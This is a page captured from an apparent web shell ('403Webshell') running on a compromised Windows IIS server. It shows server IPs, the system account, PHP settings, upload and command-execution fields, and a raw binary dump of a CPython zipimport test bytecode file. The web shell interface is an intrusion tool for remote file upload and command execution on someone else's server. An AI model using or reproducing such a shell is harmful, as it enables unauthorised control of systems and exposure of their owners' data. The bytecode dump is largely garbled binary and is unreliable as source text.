403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_zipimport.cpython-313.pyc
�

��iʠ��z�SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r	SSKrSSKJ
r
 SSKJr SSKJr SSKJrJrJrJr SSKrSSKrSSKrSSKrSSKrSSKJrJrJr SSKrSr!\""\!SS	5r#S
r$Sr%Sr&\R"5r'\%"\#\'\("\!55r)S
r*Sr+Sr,Sr-Sr.Sr/\R`RcS5r2\R`RcS5r3\R`Ri\R`Rk\65S5r7\RpRs\*S-5r:Sr;"SS\	Rx5r="SS\=5r>\
R~"5"SS\>55r@"SS\	Rx5rAS rB\CS!:Xa\	R�"5 gg!\ a SrGNGf=f)"�N)�support)�
import_helper)�	os_helper)�ZipFile�ZipInfo�
ZIP_STORED�ZIP_DEFLATED)�
extract_tb�
extract_stack�print_tbzHdef get_name():
    return __name__
def get_file():
    return __file__
�<???>�execz def do_raise(): raise TypeError
c��[R"U5n[RR[
R"SS[U5S-US-5-U-nU$)Nz<iLLr���)�marshal�dumps�	importlib�util�MAGIC_NUMBER�struct�pack�int)�co�mtime�size�data�pycs     �(C:\Python313\\Lib\test\test_zipimport.py�make_pycr(sY���=�=���D��>�>�&�&����F�A���J��,�d�[�.@�	B�B�DH�I�C��J�c�B�UR[RS5$)N�.)�replace�os�sep)�paths r�module_path_to_dotted_namer'/s���<�<�����$�$r �
ziptestmodule�ziptestmodule2�ziptestmodule3�ziptestpackage�ziptestpackage2�ziptestpackage3�	junk95142z
junk95142.zip�zipimport_data�.py�.pycc� �\rSrSrSrSrSrg)�ImportHooksBaseTestCase�Dc��[RSSUl[RSSUl[RSSUl[RR5 [R"5Ulg�N)	�sysr&�	meta_path�
path_hooks�path_importer_cache�clearr�
modules_setup�modules_before��selfs r�setUp�ImportHooksBaseTestCase.setUpFsT���H�H�Q�K��	����q�)����.�.��+������%�%�'�+�9�9�;��r c�(�UR[RSS&UR[RSS&UR[RSS&[RR5 [R"UR6 gr6)	r&r7r8r9r:r;r�modules_cleanupr=r>s r�tearDown� ImportHooksBaseTestCase.tearDownMs]���i�i�������>�>��
�
�a�� �O�O����q�����%�%�'��%�%�t�':�':�;r )r8r=r&r9N)�__name__�
__module__�__qualname__�__firstlineno__r@rD�__static_attributes__�r rr3r3Ds��<�<r r3c���\rSrSr\rSr\4Sjr\	4SSSSS.Sjjr
SSS.S	jrS
rSr
SSS.S
jrSrSrSrSrSr\R*R-SS5S5rSrSrSrSrSrSrSrSrSr Sr!S r"S!r#S"r$S#r%S$r&S%r'S&r(S'r)S(r*S)r+S*r,S+r-S,r.S-r/S.r0S/r1S0r2S1r3\Rh"\5RlSLS25S35r7S4r8S5r9S6r:S7r;S8r<S9r=S:r>S;r?g)<�UncompressedZipImportTestCase�Uc��[R"5 [RR	5 [
R
U5 gr6)�	linecache�
clearcache�	zipimport�_zip_directory_cacher;r3r@r>s rr@�#UncompressedZipImportTestCase.setUpYs0��	�����&�&�,�,�.��%�%�d�+r c���UR[RU5 UR5GH#up4[	U[
5(aUupT[RR"U/URS5Q76nUS[R:Xa>[RRU5(d[R"U5 M�M�[RRU5n[RRU5(d[R"U5 [US5nURU5 SSS5 GM& g!,(df   GM9=f)N�/����wb)�
addCleanupr�rmtree�items�
isinstance�tupler$r&�join�splitr%�isdir�makedirs�dirname�open�write)	r?�files�dirName�namerrr&�dname�fps	         r�makeTree�&UncompressedZipImportTestCase.makeTree`s���	
���	�(�(�'�2��+�+�-�J�D��$��&�&�"����7�7�<�<��:�$�*�*�S�/�:�D��B�x�2�6�6�!��w�w�}�}�T�*�*��K�K��%�+�������-���w�w�}�}�U�+�+��K�K��&��$��%���H�H�T�N�&�%�(�&�%�s�:E�
E*	N�)�comment�file_comment�stuff�prefixc���UR[RU5 [USURS9nURX�XFS9 UbX8lSSS5 Ub][US5n	U	R5n
SSS5 [US5n	U	RU5 U	RW
5 SSS5 gg!,(df   No=f!,(df   NX=f!,(df   g=f)N�w��compression�rnrp�rbrX)
rYr�unlinkrrt�writeZiprmrc�readrd)r?re�zipNamermrnrorp�kw�z�frs           r�makeZip�%UncompressedZipImportTestCase.makeZipss���
	
���	�(�(�'�2�
�W�c�t�/?�/?�
@�A��M�M�!��M�M��"�#�	�A�
���g�t�$���v�v�x��%��g�t�$�����������
�%�$�	�A�
@��%�$��$�$�s#�B9�'C
�#C�9
C�

C�
C)ruc��UR5H�upV[U[5(aUupvO[nUR	[
RS5n[XE-[R"U55nURUlUbX8lUcSUl
URU5 M�USS:wdeURX�5 M� g)NrVrrW)r[r\r]�NOWr#r$r%r�time�	localtimert�
compress_typerm�CRC�mkdir�writestr)	r?r|rernrprgrr�zinfos	         rrx�&UncompressedZipImportTestCase.writeZip�s����+�+�-�J�D��$��&�&�"���t����<�<�����,�D��F�M�4�>�>�%�+@�A�E�"&�"2�"2�E���'� ,�
��|���	�������B�x�3��&���
�
�5�'�(r c�V�[S5Vs0sHnSUS3[_M sn$s snf)Nir}r0)�range�test_src)r?�ns  r�
getZip64Files�+UncompressedZipImportTestCase.getZip64Files�s+��.3�E�l�;�l��!�A�3�c�
�H�$�l�;�;��;s�&c�l�SU;aSUS'UR"U40UD6 UR"U/UQ70UD6 g)Nrpzpre/fix/)r~�doTestWithPreBuiltZip)r?�expected_extre�modulesr{s     r�doTest�$UncompressedZipImportTestCase.doTest�s<���2��%�B�x�L����U�!�b�!��"�"�<�@�'�@�R�@r )�callrpc��[RR"[/UR	S5SSQ76n[
RR
SU5 [R"SRU55nUbU"U5 U(aEUR5nURU[RR"U/UQ76U-5 gg)NrVrWrr")r$r&r^�TEMP_ZIPr_r7�insertr�
import_module�get_file�assertEqual)	r?r�r�rpr�r{�zip_path�mod�files	         rr��3UncompressedZipImportTestCase.doTestWithPreBuiltZip�s����7�7�<�<��B�6�<�<��+<�S�b�+A�B��������8�$��%�%�c�h�h�w�&7�8������I���<�<�>�D����T�2�7�7�<�<��$+�")�$+�-9�$:�
;�r c��S[R;aURS5 S[R;a[RS	S[0nURSUS5 UR[:waURS5 gg![a* UR[:waURS5 ggf=f)N�zlibzzlib is a builtin modulezzlib.pyr0z"expected test to raise ImportErrorz&expected test to not raise ImportError)r7�builtin_module_names�skipTestr�r�r�rtr�fail�ImportErrorr	�r?res  r�
testAFakeZlib�+UncompressedZipImportTestCase.testAFakeZlib�s���&�S�-�-�-��M�M�4�5��S�[�[� ����F�#��H�%��	@��K�K��u�f�-�
���:�-��	�	�>�?�.��	�	D����<�/��	�	�B�C�0�	D�s�B�/C�Cc�P�[S-[0nURSU[5 g�Nr0��TESTMODr�r�r�s  r�testPy�$UncompressedZipImportTestCase.testPy�s ���5��(�+�����E�5�'�*r c�`�[[-[0nUR[U[5 gr6)r��pyc_ext�test_pycr�r�s  r�testPyc�%UncompressedZipImportTestCase.testPyc�s!���7�"�H�-�����G�U�G�,r c�z�[S-[[[-[0nUR	[U[5 gr�)r�r�r�r�r�r�s  r�testBoth�&UncompressedZipImportTestCase.testBoth�s,���5��(��7�"�H�.�����G�U�G�,r c�^�Sn[RRU5n[RR	[USS5US5n[S-[S4[S-[S-
U40nU4S	jnTRSU[US
9 g)N�
state = 'old'�???rFr0�
state = 'new'r1�c�>>�TRURS5 g)N�old�r��state�r�r?s �r�check�FUncompressedZipImportTestCase.testUncheckedHashBasedPyc.<locals>.check��������S�Y�Y��.r �r��	rr�source_hash�_bootstrap_external�_code_to_hash_pyc�compiler�r�r��r?�sourcer��bytecoderer�s`     r�testUncheckedHashBasedPyc�7UncompressedZipImportTestCase.testUncheckedHashBasedPyc�s����!���n�n�0�0��8���0�0�B�B��F�E�6�*���
��
�5��3��"8��6�!�C�"�H�h�#7�9��	/����D�%��u��5r z_imp.check_hash_based_pycs�alwaysc�^�Sn[RRU5n[RR	[USS5US5n[S-[S4[S-[S-
U40nU4S	jnTRSU[US
9 g)Nr�r�rFr0r�r1r�c�>>�TRURS5 g)N�newr�r�s �rr��OUncompressedZipImportTestCase.test_checked_hash_based_change_pyc.<locals>.check�r�r r�r�r�s`     r�"test_checked_hash_based_change_pyc�@UncompressedZipImportTestCase.test_checked_hash_based_change_pyc�s����!���n�n�0�0��8���0�0�B�B��F�E�6�*���
��
�5��3��"8��6�!�C�"�H�h�#7�9��	/����D�%��u��5r c�H�[S-S0nURSU[5 g)Nr0rl)r�r�r�s  r�testEmptyPy�)UncompressedZipImportTestCase.testEmptyPy�s ���5��"�%�����D�%��)r c��[[5nUS==S-ss'[S-[[[-U0nURSU[5 g)Nr�r0��	bytearrayr�r�r�r�r�)r?�badmagic_pycres   r�testBadMagic�*UncompressedZipImportTestCase.testBadMagicsD�� ��*���Q��4����5��(��7�"�L�2�����E�5�'�*r c�z�[[5nUS==S-ss'[[-U0nUR	SU[5 URS5 g![RaPnURUR[5 URSURR5 SnAgSnAff=f)Nrr�r0zThis should not be reachedzmagic number)
r�r�r�r�r�r�rR�ZipImportError�assertIsInstance�	__cause__r��assertIn�msg)r?r�re�excs    r�
testBadMagic2�+UncompressedZipImportTestCase.testBadMagic2	s��� ��*���Q��4����7�"�L�1��	=��K�K��u�g�.��I�I�2�3���'�'�	=��!�!�#�-�-��=��M�M�.�#�-�-�*;�*;�<�<��	=�s�(A�B:�*AB5�5B:c��[[5nUS==S-ss'[S-[[[-U0nURSU[5 g)N��r0r�)r?�badtime_pycres   r�testBadMTime�*UncompressedZipImportTestCase.testBadMTimesF����)��	�B��4����5��(��7�"�K�1�����E�5�'�*r c��[[S[[55n[S-[[[
-U0nUR
SU[5 g)Nrr0)r�test_co�lenr�r�r�r�)r?�twenty_thirty_eight_pycres   r�
test2038MTime�+UncompressedZipImportTestCase.test2038MTimesB��#+�7�I�s�8�}�"M���5��(��7�"�$;�=�����E�5�'�*r c��[[R-nUS-[-[U[
-[-[0nUR
[U[[
5 g�N�__init__)�TESTPACKr$r%r�r�r�r�)r?�packdirres   r�testPackage�)UncompressedZipImportTestCase.testPackage&sG���R�V�V�#���:�%��/���7�"�W�,�h�8�����G�U�H�g�6r c��[[R-nU[-[R-nUS-[-[
US-[-[
U[-[-[
0nUR[U[[[5 gr�)r�r$r%�	TESTPACK2r�r�r�r��r?r��packdir2res    r�testSubPackage�,UncompressedZipImportTestCase.testSubPackage,so���R�V�V�#���Y�&����/���:�%��/���J�&��0�(��G�#�g�-�x�9��	
���G�U�H�i��Ar c���[[R-nU[-[R-nUSUSU[-[
-[0nUR[
U[[[5 gr6)r�r$r%r�r�r�r�r�r�s    r�testSubNamespacePackage�5UncompressedZipImportTestCase.testSubNamespacePackage6s[���R�V�V�#���Y�&����/���$��4��G�#�g�-�x�9��	
���G�U�H�i��Ar c��[[R-nU[-[R-nU[-[R-nUSU[
-[-[USUSU[
-[-[U[-[-[U[
-[-[0nUSU[-[-[USU[-[-[U[
-[-[0n[RRS5nURXF5 [nURXW5 [RR!SU5 [RR!SU5 ["R$"[5nUR'S[)UR*55 UR*up�UR'[RR-[5U	R/[R5S5 UR'SU
R/[R5S5 ["R$"UR1[RS5SS5nUR'S[)UR*55 [3UR*5SR/S[R-5SnUR'USSU5 ["R$"SR5[[
455nUR'SUR6R/[R5S5 ["R$"SR5[[455nUR'[RR-[5UR6R/[R5S5 SR5[[45n["R$"U5nUR'S[)UR*55 UR*up�UR'[RR-[5U	R/[R5S5 UR'SU
R/[R5S5 ["R$"SR5U[
455nUR'[RR-[5UR6R/[R5S	5 ["R$"SR5U[455nUR'[RR-[5UR6R/[R5S	5 ["R$"SR5U[455nUR'SUR6R/[R5S	5 g)
N�	path1.ziprr����r"rW�������)r�r$r%r��	TESTPACK3r�r�r��TESTMOD3�TESTMOD2r&�abspathr~�TEMP_DIRrjr7r�rr�r�r��__path__�basenamer_r#�listr^�__file__)
r?r�r�packdir3�files1�files2�zip1�zip2r��p1�p2�mpath�subpkgs
             r�testMixedNamespacePackage�7UncompressedZipImportTestCase.testMixedNamespacePackageAsi���R�V�V�#���Y�&����/���i�'�"�&�&�0���4��G�#�g�-�x��D��D��W�$�w�.���X�%��/���W�$�w�.��
:���4��H�$�w�.���D��X�%��/���W�$�w�.��	:���w�w���{�+�����V�"����
�
�f�#�	������4� �������4� ��%�%�h�/��
	
����C����-�.������������)�)�(�3�R�X�X�b�f�f�5E�b�5I�J�����b�h�h�r�v�v�&6�r�&:�;��%�%�h�&6�&6�r�v�v�s�&C�C�R�&H�I������C����-�.��S�\�\�"�1�%�+�+�K�"�&�&�,@�A�!�D������#�2���.��%�%�c�h�h��'�/B�&C�D������c�l�l�&8�&8����&@��&D�E��%�%�c�h�h��(�/C�&D�E��������)�)�(�3����+�+�B�F�F�3�B�7�	9����8�Y�/�0���%�%�f�-������C����-�.������������)�)�(�3�R�X�X�b�f�f�5E�b�5I�J�����b�h�h�r�v�v�&6�r�&:�;��%�%�c�h�h���/@�&A�B��������)�)�(�3����+�+�B�F�F�3�B�7�	9��%�%�c�h�h���/A�&B�C��������)�)�(�3����+�+�B�F�F�3�B�7�	9��%�%�c�h�h���/A�&B�C������c�l�l�&8�&8����&@��&D�Er c�n�[[R-nU[-[R-nU[-[R-nUSU[
-[-[USUSU[
-[-[U[-[-[U[
-[-[0n[RRS5nURXE5 USU[-[-[USU[-[-[U[
-[-[0n[RRS5nURXg5 [RRSU5 [RRSU5 [R "[5nUR#S[%UR&55 UR&up�UR#SU	R)[R5S5 UR#SU
R)[R5S5 [R "UR+[RS5SS5nUR#S[%UR&55 [-UR&5SR)S[R-5SnUR#USSU5 [R "SR/[[
455nUR#SUR0R)[R5S	5 [R "SR/[[455nUR#SUR0R)[R5S	5 SR/[[45n[R "U5nUR#S[%UR&55 UR&up�UR#SU	R)[R5S	5 UR#SU
R)[R5S	5 [R "SR/U[
455nUR#SUR0R)[R5S
5 [R "SR/U[455nUR#SUR0R)[R5S
5 [R "SR/U[455nUR#SUR0R)[R5S
5 g)Nrz	path2.ziprr�rr"rWr	r
r)r�r$r%r�rr�r�r�r
r&rr~rr7r�rr�r�r�rr_r#rr^r)
r?r�rrrrrrr�rrrrs
             r�testNamespacePackage�2UncompressedZipImportTestCase.testNamespacePackage�s"���R�V�V�#���Y�&����/���i�'�"�&�&�0���4��G�#�g�-�x��D��D��W�$�w�.���X�%��/���W�$�w�.��
:���w�w���{�+�����V�"��4��H�$�w�.���D��X�%��/���W�$�w�.��	:��
�w�w���{�+�����V�"�	������4� �������4� ��%�%�h�/��
	
����C����-�.����������b�h�h�r�v�v�&6�r�&:�;�����b�h�h�r�v�v�&6�r�&:�;��%�%�h�&6�&6�r�v�v�s�&C�C�R�&H�I������C����-�.��S�\�\�"�1�%�+�+�K�"�&�&�,@�A�!�D������#�2���.��%�%�c�h�h��'�/B�&C�D������c�l�l�&8�&8����&@��&D�E��%�%�c�h�h��(�/C�&D�E������c�l�l�&8�&8����&@��&D�E����8�Y�/�0���%�%�f�-������C����-�.����������b�h�h�r�v�v�&6�r�&:�;�����b�h�h�r�v�v�&6�r�&:�;��%�%�c�h�h���/@�&A�B������c�l�l�&8�&8����&@��&D�E��%�%�c�h�h���/A�&B�C������c�l�l�&8�&8����&@��&D�E��%�%�c�h�h���/A�&B�C������c�l�l�&8�&8����&@��&D�Er c�
�[[R-nU[-[R-nUS-[-[
US-[-[
U[-[-[
S[-[
0nURUSS9 [R"[5nURUR[5 URUR[55 [R "5 [R""S[$5 UR'[5nURUR)[5UR*5 SSS5 UR-S5nUR/U5 UR1UR2[R5 UR5UR2RS55 [6R8R;U5nUR2R=U5 URUR2R)S5UR*5 UR-[5n[6R8R;U5nUR2R=U5 URUR)[5UR*5 [6R>"[5R@Sn[RBRE[[5n	URX�5 UR5URUS-55 URURU[-55 UR5URU[-55 U[-n
[GU
5n[6R>"U5nURU[HRJ;5 URMURO[55 URMUROU
55 URUR)U
5UR*5 URPR2nURMUROU55 URUR)U5UR*5 [R"[[R-[-5n
URU
R[5 URU
RR[[R-5 g!,(df   GN�=f)Nr��spam�spam�rn�ignorer)*r�r$r%r�r�r�r�r~rR�zipimporterr�r��archive�
assertTrue�
is_package�warnings�catch_warnings�simplefilter�DeprecationWarning�load_module�get_filenamer�	find_spec�assertIsNotNoner��loader�assertFalserr�module_from_spec�exec_moduler�rr&r^r'r7r��assertIsNone�
get_source�__spec__rp)r?r�rre�zir��spec�exec_mod�existing_pack_path�expected_path_path�mod_path�mod_namer4�zi2s              r�testZipImporterMethods�4UncompressedZipImportTestCase.testZipImporterMethods�s����R�V�V�#���Y�&����/���:�%��/���J�&��0�(��G�#�g�-�x��'�!�8�-��	
���U���1�
�
"�
"�8�
,��������X�.�����
�
�h�/�0��
$�
$�
&��!�!�(�,>�?��.�.��*�C����R�_�_�X�6����E�	'��|�|�F�#�����T�"����d�k�k�9�+@�+@�A�������/�/��7�8��>�>�2�2�4�8��������)�������1�1�&�9�8�;L�;L�M��|�|�H�%���n�n�-�-�d�3��������$��������2�C�L�L�A�&�4�4�X�>�G�G��J���W�W�\�\�(�H�=�����+�@�������w��';�<�=�����
�
�g�	�&9�:�;�������x�'�'9�:�;��g�%��-�h�7���%�%�h�/������C�K�K�/�0����"�-�-��1�2����"�-�-��1�2��������2�C�L�L�A����$�$�����&�+�+�H�5�6�����,�,�X�6����E��#�#�H�r�v�v�$5��$@�A��������h�/�������X����%6�7�Y'�
&�s
�8A T4�4
Uc��[[R-nU[-[R-nUS-[-[
US-[-[
U[-[-[
S[-[
0nURUSS9 [R"[5nURUR5R5UR55 UR5 URUR5R5UR55 S[-[
0nURU5 [![SUR"S9nUR%XeSS9 SSS5 UR5 URUR5R5UR55 UR'S5nUR)U5 UR+UR,[R5 [R."[5 UR5 UR1UR55 UR3[R4R7UR855 UR3UR'S55 g!,(df   GNI=f)	Nr�r$r%r&�spam2�ars�name_does_not_matter)r�r$r%r�r�r�r�r~rRr(r�r��
_get_files�keys�invalidate_caches�updaterrtrxr2r3r�r4�remover5r8rS�getr))r?r�rrer;�newfiler|r<s        r�testInvalidateCaches�2UncompressedZipImportTestCase.testInvalidateCachess����R�V�V�#���Y�&����/���:�%��/���J�&��0�(��G�#�g�-�x��'�!�8�-��	
���U���1�
�
"�
"�8�
,���������-�-�/�����>�
�����������-�-�/�����>��W�$�h�/��
���W��
�X�s��0@�0@�
A�Q��M�M�!�7�M�;�B�	�����������-�-�/�����>��|�|�G�$�����T�"����d�k�k�9�+@�+@�A�
�	�	�(��
�����������)����)�8�8�<�<�R�Z�Z�H�I����"�,�,�'=�>�?�B�
A�s� J3�3
Kc�Z�[[R-nU[-[R-nUS-[-[
US-[-[
U[-[-[
S[-[
0nURUSS9 [R"[5nURUR5R5UR55 [R"[5nURUR5R5UR55 S[-[
0nURU5 [[SUR S9nUR#XvSS9 SSS5 UR%5 URUR5R5UR55 UR'S5nUR)U5 UR+UR,[R5 g!,(df   N�=f)Nr�r$r%r&rFrGrs)r�r$r%r�r�r�r�r~rRr(r�r�rIrJrLrrtrxrKr2r3r�r4)	r?r�rrer;rBrOr|r<s	         r�*testInvalidateCachesWithMultipleZipimports�HUncompressedZipImportTestCase.testInvalidateCachesWithMultipleZipimports3s����R�V�V�#���Y�&����/���:�%��/���J�&��0�(��G�#�g�-�x��'�!�8�-��	
���U���1�
�
"�
"�8�
,���������-�-�/�����>��#�#�H�-��������)�.�.�0�%�*�*�,�?��W�$�h�/��
���W��
�X�s��0@�0@�
A�Q��M�M�!�7�M�;�B�	����������)�.�.�0�%�*�*�,�?��}�}�W�%�����T�"����d�k�k�9�+@�+@�A�B�
A�s�*H�
H*c�	�[[R-nU[-[R-nUS-[-[
U[-[-[
0nURUSS9 [R"[[R-U-5nURUR[5 URURU5 URUR[55 [ R""5 [ R$"S[&5 UR)[5nURUR+[5UR,5 SSS5 UR/[5n[0R2R5U5nUR6R9U5 URUR6R+[5UR,5 UR;UR[[R-S-55 UR;UR[[R-[-55 [[R-U-[-n[R"U5nUR/[5nUR=U5 UR?UR6[R5 UR;UR6R[55 [0R2R5U5n	UR6R9U	5 URUR6R+[5U	R,5 [[R-[-n
[AU
5n[0RB"U5nURU[DRF;5 URIURK[55 URIURKU
55 URUR+U
5UR,5 URLnURIURKU55 URUR+U5UR,5 g!,(df   GN[=f)Nr�seggsr&r')'r�r$r%r�r�r�r�r~rRr(r�r�r)rpr*r+r,r-r.r/r0r1rr2rrr6r4r7r5r3r�r'r�r7r�r8r9�
__loader__)
r?r�rrer;r�r<�pkg_pathrB�load_modr@rAr4s
             r�$testZipImporterMethodsInSubDirectory�BUncompressedZipImportTestCase.testZipImporterMethodsInSubDirectoryNsK���R�V�V�#���Y�&����/���J�&��0�(��G�#�g�-�x�9�����U���1�
�
"�
"�8�b�f�f�#4�w�#>�
?��������X�.�������G�,�����
�
�i�0�1�
�
$�
$�
&��!�!�(�,>�?��.�.��+�C����R�_�_�Y�7����F�'�
�|�|�I�&���n�n�-�-�d�3��������$�������1�1�)�<�c�l�l�K�������y�2�6�6�'9�J�'F�G�H�������y�2�6�6�'9�G�'C�D�E��b�f�f�$�w�.��:���#�#�H�-���}�}�W�%�����T�"����d�k�k�9�+@�+@�A�������/�/��8�9��>�>�2�2�4�8��������)�����K�K�$�$�W�-�x�/@�/@�	B��r�v�v�%��/��-�h�7���%�%�h�/������C�K�K�/�0����"�-�-�	�2�3����"�-�-��1�2��������2�C�L�L�A��������&�+�+�H�5�6�����,�,�X�6����E�K'�
&�s
�A R?�?
Sc���UR[R[5 [	[S5nUR
UlSn[
S[S555nURX#5 SSS5 [R"[5nURWURW55 URS[U55 g!,(df   Ne=f)Nrrztestdata.datc3�$# �UHov� M g7fr6rK)�.0�xs  r�	<genexpr>�<UncompressedZipImportTestCase.testGetData.<locals>.<genexpr>�s���/�J�q��J�s��zzipimporter object)rYrrwr�rrt�bytesr�r�rRr(r��get_datar��repr)r?r|rgrr;s     r�testGetData�)UncompressedZipImportTestCase.testGetData�s������	�(�(�(�3�
�X�s�
#�q� �,�,�A�M�!�D��/�E�#�J�/�/�D�
�J�J�t�"�	$��
"�
"�8�
,������r�{�{�4�0�1��
�
�*�D��H�5�$�
#�s�AC�
C"c��Sn[[USS5[[U55n[[
-USS0nUR
[
U[SS9 g)Nz�if 1:  # indent hack
        def get_file():
            return __file__
        if __loader__.get_data("some.data") != b"some data":
            raise AssertionError("bad data")
r
rz	some.dataz	some datarl)rp)rr�r�r�r�r�r�)r?�srcrres    r�testImporterAttr�.UncompressedZipImportTestCase.testImporterAttr�sP��2��
�w�s�G�V�4�c�3�s�8�D���7�"�C��k�+�����G�U�G�B��7r c�B�Sn[S-U0nURU5 [RR	S[
5 [R"[5nURURS5S5 UR[URS5 g)Nz[if 1:  # indent hack
        def test(val):
            assert(val)
            return val
r0rr	F)r�r~r7r&r�r�rr�r��test�assertRaises�AssertionError)r?rhrer�s    r�testDefaultOptimizationLevel�:UncompressedZipImportTestCase.testDefaultOptimizationLevel�sx�����5��#�&�����U��������8�$��%�%�g�.��������!��a�(�����n�c�h�h��>r c�N�[S-[0nURSU[SS9 g)Nr0s6Some StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome Stuff)ror�r�s  r�testImport_WithStuff�2UncompressedZipImportTestCase.testImport_WithStuff�s,���5��(�+�����E�5�'�*�	�	,r c�X�UR[R"U5[5 gr6)r��inspect�	getsourcer�)r?�modules  r�assertModuleSource�0UncompressedZipImportTestCase.assertModuleSource�s������*�*�6�2�H�=r c�b�[S-[0nURSU[URS9 g�Nr0r�)r�r�r�rxr�s  r�
testGetSource�+UncompressedZipImportTestCase.testGetSource�s*���5��(�+�����E�5�'��0G�0G��Hr c���[[[SS5[[	[55n[
S-[[
[-U0nUR[U[
URS9 g)Nr
rr0r�)	rr�r�r�r�r�r�r�rx)r?rres   r�testGetCompiledSource�3UncompressedZipImportTestCase.testGetCompiledSource�sQ���w�x��&�9�3��H�
�N���5��(��7�"�C�)�����G�U�G�$�2I�2I��Jr c�R�[S-[SS0nURSU[US9 g)Nr0�xyz.txtz>>> log.append(True)
r�r�)r?�callbackres   r�
runDoctest�(UncompressedZipImportTestCase.runDoctest�s,���5��(��4�6�����E�5�'���9r c���/n[RSsn[l[R"SUS[5S9 U[lUR	US/5 g!U[lf=f�Nr�T)�package�module_relative�globs)�doctest�master�testfile�localsr�)r?rw�log�
old_masters    r�
doDoctestFile�+UncompressedZipImportTestCase.doDoctestFile�s^����%,�^�^�T�"�
�G�N�	(�����6�4��h�
�
(�G�N�����d�V�$��(�G�N�s�A�
A+c�:�URUR5 gr6)r�r�r>s r�testDoctestFile�-UncompressedZipImportTestCase.testDoctestFile�s������*�*�+r c��/n[R"SUS[5S9R5 UR	US/5 gr�)r��DocFileTestr��runr�)r?rwr�s   r�doDoctestSuite�,UncompressedZipImportTestCase.doDoctestSuite�s<��������v�t��(�	
��#�%�����d�V�$r c�:�URUR5 gr6)r�r�r>s r�testDoctestSuite�.UncompressedZipImportTestCase.testDoctestSuite�s������+�+�,r c�Z�UR5 [S5e![GanURRn[US5SupEpgUR
U[R55 [URS5SupEpgUR
U[R55 [R"5n[USU5 URUR5R!["R$"5(aSOS55 SnAgSnAff=f)NzThis ought to be impossibler	rz$    def do_raise(): raise TypeError
z$                    ^^^^^^^^^^^^^^^
)�do_raisern�	Exception�
__traceback__�tb_nextr
r��	raise_src�stripr�tb_frame�io�StringIOrr*�getvalue�endswithr�has_no_debug_ranges)	r?rw�e�tbr}�lnor��line�ss	         r�doTraceback�)UncompressedZipImportTestCase.doTraceback�s���	@��O�O��$!�!>�?�?��#�	����(�(�B�%�b�!�,�Q�/�L�A�!����T�9�?�?�#4�5�(����a�8��;�L�A�!����T�9�?�?�#4�5����
�A��R��A���O�O�A�J�J�L�1�1��1�1�3�3��7��
�
��	�s��D*�C8D%�%D*c�b�[S-[0nURSU[URS9 gr{)r�r�r�r�r�s  r�
testTraceback�+UncompressedZipImportTestCase.testTraceback�s*���5��)�,�����D�%��t�/?�/?��@r zneed an unencodable filenamec�.�[RS-nUR[S-[0U5 [
R"U5R[5n[RRU5nURRU5 g�Nz.zipr0)
r�TESTFN_UNENCODABLEr~r�r�rRr(r2rrr6r4r7)r?�filenamer<r�s    r�testUnencodable�-UncompressedZipImportTestCase.testUnencodable�sl���/�/�&�8�����g��o�x�0�(�;��$�$�X�.�8�8��A���n�n�-�-�d�3��������$r c���[RS-nUR[S-[0U5 [
R"U5 UR[5 [
R"[R"U55 SSS5 UR[5 [
R"[[R"U555 SSS5 UR[5 [
R"[[R"U555 SSS5 g!,(df   N�=f!,(df   Nq=f!,(df   g=fr�)
r�TESTFNr~r�r�rRr(rm�	TypeErrorr$�fsencoder��
memoryview�r?r�s  r�
testBytesPath�+UncompressedZipImportTestCase.testBytesPath�s����#�#�f�,�����g��o�x�0�(�;����h�'�
�
�
�y�
)��!�!�"�+�+�h�"7�8�*�
�
�
�y�
)��!�!�)�B�K�K��,A�"B�C�*�
�
�
�y�
)��!�!�*�R�[�[��-B�"C�D�*�
)�	*�
)��
)�
)��
)�
)�s$�+D4�&4E�74E�4
E�
E�
E$c�N�[S-[0nURSU[SS9 g)Nr0scomment�rmr�r�s  r�testComment�)UncompressedZipImportTestCase.testComment
s$���5��(�+�����E�5�'�:��>r c�P�[S-[0nURSU[SSS9 g)Nr0s@cruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftshi)rormr�r�s  r�testBeginningCruftAndComment�:UncompressedZipImportTestCase.testBeginningCruftAndComments&���5��(�+�����E�5�'����Nr c�T�[S-[0nURSU[SS-S9 g)Nr0�c�r�r�r�s  r�testLargestPossibleComment�8UncompressedZipImportTestCase.testLargestPossibleComments)���5��(�+�����E�5�'�4�=�3I��Jr c�J�UR5nURSUS5 g)Nr0�f6�r�r�r�s  r�	testZip64�'UncompressedZipImportTestCase.testZip64s ���"�"�$�����E�5�$�'r c�N�UR5nURSUSSS-S9 g)Nr0�f65536r�r�r�r�r�s  r�testZip64CruftAndComment�6UncompressedZipImportTestCase.testZip64CruftAndComments)���"�"�$�����E�5�(�D�M�4J��Kr c�<^^
�[R"SSSS35 STRSS3n[RR[U5n[R"U5nTR[R[5 U(Gd�TR[:wa[R"SS	5 TR[R[R5 [[RS
5nURS5 UR[R R#55 UR%S[R&5 UR[R R#55 SSS5 [R("[RS5 [+[S
TRSS9m
T
R[RS5 T
R-[/SS5[05 T
R[RS5 SSS5 U4SjnTR[:Xa[3S[S35 U"[5 GO.SnUVs/sHov"U5U4PM nn[[S
5n[5U5HYup�[U
S5nUR%U	[R65 URUR955 SSS5 M[ SSS5 [+[S5m
TR;T
R=S5R>S5 TR;T
R9S5[0R#5SUS3S9 UU
